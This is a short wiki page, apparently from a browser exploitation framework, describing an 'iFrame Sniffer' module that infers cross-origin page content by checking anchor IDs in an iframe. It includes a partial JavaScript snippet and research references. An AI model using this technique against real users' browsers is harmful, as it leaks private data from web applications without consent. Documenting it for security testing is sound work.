Clone
3
Module: iFrame Sniffer
Jess Williams edited this page 2020-01-13 17:30:03 +10:00

Summary

  • Objective: Sniff data from other origins via iframes

  • Authors: Bart Leppens

  • Browsers: Safari, IE

  • Code

Internal Working

By using anchors (#) to request cross-origin resources in an iframe, it can leak information based on the presence and absence of elements.

Content can't be directly read with this technique, but data can be inferred from web applications.


      if (typeof LeakyFrame === 'function') {
          new LeakyFrame(inputURL,
            function(frame){
              //check each anchor
              for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
                if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
                  resultList.push('Exists');
                }
                else{
                  resultList.push('Does not exist');
                }
              }
              frame.remove();

References

https://www.contextis.com/en/blog/framesniffing-against-sharepoint-and-linkedin

(old link, maybe check it on archive.org): http://www.contextis.co.uk/research/blog/framesniffing/

Feedback